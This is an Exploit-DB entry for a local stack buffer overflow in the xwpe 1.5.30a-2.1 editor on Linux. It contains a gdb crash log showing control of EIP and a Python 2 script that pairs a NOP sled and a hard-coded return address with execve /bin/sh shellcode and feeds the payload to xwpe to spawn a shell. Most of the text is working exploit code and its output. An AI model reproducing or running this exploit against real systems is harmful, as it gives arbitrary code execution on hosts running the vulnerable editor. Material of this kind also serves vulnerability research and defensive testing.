Exploit-DB #39285
Description: xWPE 1.5.30a-2.1 - Local Buffer Overflow
Type: local
Platform: linux
Date: 2016-01-21
Author: Juan Sacco

Exploit:
# Exploit Author: Juan Sacco - http://www.exploitpack.com <
jsacco@exploitpack.com>
# Program: xwpe - Windows Editor v1.5.30a-2.1
# Description: Programming environment and editor for console and X11
# Tested and developed on:  Kali Linux 2.0 x86 - https://www.kali.org
#
# Description: xwpe v1.5.30a-2.1 and prior is prone to a stack-based buffer
# overflow vulnerability because the application fails to perform adequate
# boundary-checks on user-supplied input.
#
# An attacker could exploit this issue to execute arbitrary code in the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
#
# Vendor homepage: http://www.identicalsoftware.com/xwpe
# Kali Linux 2.0 package: pool/main/x/xwpe/xwpe_1.5.30a-2.1_i386.deb
# MD5: 793a89f7df892c7934be6c2353a6f0f9
#
#gdb$ run $(python -c 'print "\x90" * 290  + "DCBA"')
#Starting program: /usr/bin/xwe $(python -c 'print "\x90" * 290  + "DCBA"')
#sh: 1: /usr/sbin/gpm: not found
#
#  ESI: 0x41414141  EDI: 0x41414141  EBP: 0x41414141  ESP: 0xBFFFF370  EIP:
0x42434441
#  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007BError while
running hook_stop:
#Cannot access memory at address 0x42434441
#0x42434441 in ?? ()
#gdb$ backtrace
#0  0x42434441 in ?? ()
#1  0x4f4e2041 in ?? ()
#2  0x61732054 in ?? ()
#3  0x21646576 in ?? ()
#4  0x206f440a in ?? ()
#5  0x20756f79 in ?? ()
#6  0x746e6177 in ?? ()
#7  0x206f7420 in ?? ()
#8  0x65766173 in ?? ()
#9  0x6c694620 in ?? ()
#10 0x003f2065 in ?? ()
#11 0x00000088 in ?? ()
#12 0x00000132 in ?? ()
#13 0x00000006 in ?? ()
#14 0x00002710 in ?? ()
#15 0x0000009a in ?? ()
#16 0xfac9bc00 in ?? ()
#17 0x00000098 in ?? ()
#18 0x00000011 in ?? ()
#19 0xb7f783d9 in _nc_wgetch () from /lib/i386-linux-gnu/libncurses.so.5
#20 0xb7f79162 in wgetch () from /lib/i386-linux-gnu/libncurses.so.5
#21 0x0809927d in ?? ()
#22 0x0806b23c in ?? ()
#23 0x08055c78 in ?? ()
#24 0x080565b5 in ?? ()iles  ESC-F3 Close W.  F4 Search  ^L S.Again  ESC-X
Quit

#25 0x080574aa in ?? ()
#26 0x0804b8b8 in ?? ()
#27 0xb7ddca63 in __libc_start_main (main=0x804b570, argc=0x2,
argv=0xbffff664, init=0x809a060, fini=0x809a050, rtld_fini=0xb7fedc90
<_dl_fini>, stack_end=0xbffff65c) at libc-start.c:287
#28 0x08049ea1 in ?? ()

import os,subprocess
def run():
  try:
    print "# xwpe Buffer Overflow by Juan Sacco"
    print "# It's AGAIN Fuzzing time on unusable exploits"
    print "# This exploit is for educational purposes only"
    # JUNK + SHELLCODE + NOPS + EIP

    junk = "\x41"*262
    shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
    nops = "\x90"*124
    eip = "\x50\xd1\xff\xbf"
    subprocess.call(["xwpe",' ', junk + shellcode + nops + eip])

  except OSError as e:
    if e.errno == os.errno.ENOENT:
        print "Sorry, xwpe not found!"
    else:
        print "Error executing exploit"
    raise

def howtousage():
  print "Snap! Something went wrong"
  sys.exit(-1)

if __name__ == '__main__':
  try:
    print "Exploit xWPE Local Overflow Exploit"
    print "Author: Juan Sacco"
  except IndexError:
    howtousage()
run()